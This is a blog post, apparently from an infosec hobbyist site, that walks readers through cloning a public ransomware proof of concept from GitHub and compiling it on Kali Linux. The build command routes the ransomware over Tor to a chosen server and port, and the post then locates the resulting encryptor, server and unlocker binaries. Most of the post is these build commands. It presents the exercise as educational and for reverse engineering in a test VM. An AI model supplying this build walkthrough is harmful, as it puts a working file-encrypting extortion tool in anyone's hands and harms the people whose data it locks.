top of page
Writer's picturealvin gitonga

šŸŽ“BlackHatsšŸ“ā€ā˜ ļø -- šŸ˜ˆLet's build a RansomwarešŸ˜

CyberMoransšŸ¤—

Today you will taste the dark sidešŸ˜ˆ


The Colonial Pipeline in the US was shutdown for nearly a week before paying a $5 million ransom šŸ˜¤ demonstrating the danger of this ransomware to industrial systems and a state infrastructurešŸ˜Ÿ The major US insurance company, CNA, admitted to having paid a ransom of $40 million!

And closer to home šŸ˜, recent attacks ā˜ ļø on Kenya Aviation Authority (KAA) by Medusa ransomware gang and Jubilee insurance is believed to have paid šŸ¤‘ Lockbit, the most prolific Ransomware Gang ā˜ , an unknown amount of ransom after appearing as a victim on their dark web data leaks onion site in March 2023šŸ˜Ÿ

To understand how ransomware works we will build our own ransomware from a Proof of Concept (POC) available from mauri870 on github.com. He developed this ransomware as part of his academic program and it is not designed for malicious purposesā˜ŗļø but rather to help us understand how ransomware works. Like the new variant, Snake ransomware šŸ˜°, and a growing number of malware strains, this ransomware is written in Golang šŸ§

The ransomware will encrypt with AES-256-CTR and use RSA-4096 to secure the data exchange with the server šŸ˜° This ransomware will be very similar to Cryptolocker, one of the most successful ransomware attacks in history šŸ˜£

This POC of ransomware will help you to better understand ransomware as a threat and test to see whether your systems are vulnerable to such an attack

ā˜ ļø ā˜ ļø THIS IS FOR EDUCATIONAL PURPOSES ONLY -- AND REVERSE ENGINEERING ā˜ ļø ā˜ ļø -- Be cool šŸ˜œ

Morans, Lets do this šŸ’Ŗ


Ā 

šŸš€ Download and Install the Binaries

The first step is to fire up your Linux and install golang šŸ‘‡

kali > sudo apt install golang

Next, you will need to login to the root user šŸ‘‡

kali > sudo su -

Create a directory for the binaries. In this case, I named it simply "Azimio" šŸ‘‡

kali > mkdir Azimio

Next, change directory to this directory šŸ‘‡

kali > cd Azimio

Next, download the binaries from github.com šŸ‘‡

kali > git clone https://github.com/mauri870/ransomware

Next, we need to set some environment variables to direct the binaries and GO to the appropriate directories šŸ‘‡


šŸš€ Make the source code dependencies

With the variables set and exported, we need to make the dependencies. Navigate to the new directory, ransomware, and enter make deps šŸ‘‡

kali > cd ransomware
kali > make deps

šŸš€ Make the Source Code with options

Now we begin to make the source code. In this case, we will use a few optionsā˜ŗļø


šŸ‘‰ First, we want to use ToR to encrypt our communications over the ToR network šŸ‘‡

USE_TOR=true

šŸ‘‰ Second, we want to use our local IP at 10.0.0.5 (you can use any domain even on a cloud service) šŸ‘‡

SERVER_HOST=10.0.0.5

šŸ‘‰ Third, we want to use port 8080 (you can use any port) šŸ‘‡

SERVER_PORT=8080

šŸ‘‰ Finally, we want to set the operating system to compile the source code for our operating system, in this case, Linux šŸ‘‡

GOOS=linux

The command looks something like this šŸ‘‡

kali > make -e USE_TOR=true SERVER_HOST=10.0.0.5 SERVER_PORT=8080 GOOS=linux

hit ENTER and let your ransomware compile -- Dance kidogošŸ˜†


Ā 

šŸš€ Check the Directory for ransomware.exe

Once the source code has been generated, do a long listing on the ransomware directory šŸ‘‡

kali > ls -l

navigate to the bin directory. Here, you will see the ransomware.exe, the server and unlocker.exe šŸ‘‡

kali > cd bin

šŸš€ Examine the Types of Files to be Encrypted

To see what types of files this ransomware will encrypt, navigate to cmd directory and open common.go šŸ‘‡

kali > cd cmd
kali > more common.go

You can see the file extensions that the ransomware will target to encrypt when executedšŸ˜Š Now you can load up your test VMs, debuggers, and reverse engineering tools like ghidra and IDApro to reverse engineer this ransomware. Give it a cool name as well...I named this Kenyatta Ransomware šŸ˜„

Remember to take a snapshot of your test VM before deploying the ransomware. DO NOT deploy this ransomware on your main machine!! šŸ˜
Ā 

šŸš€Conclusion šŸ¤–

Subscribe to receive notifications of similar posts šŸ˜œ where we will be reverse engineering malware, vulnerabilities as well as hacking vectors, stories, tutorials and other Infosec stuff...šŸ˜‹


Follow me on twitter for daily Infosec Memes and shenanigansšŸ˜


Morans,


Thank you for taking time and hope you learned something new, Like and leave a comment/review and as always, stay awesome! šŸ˜‹šŸ‘Š šŸ’Ŗ

602 views0 comments

Recent Posts

See All

Comments


Post: Blog2_Post
bottom of page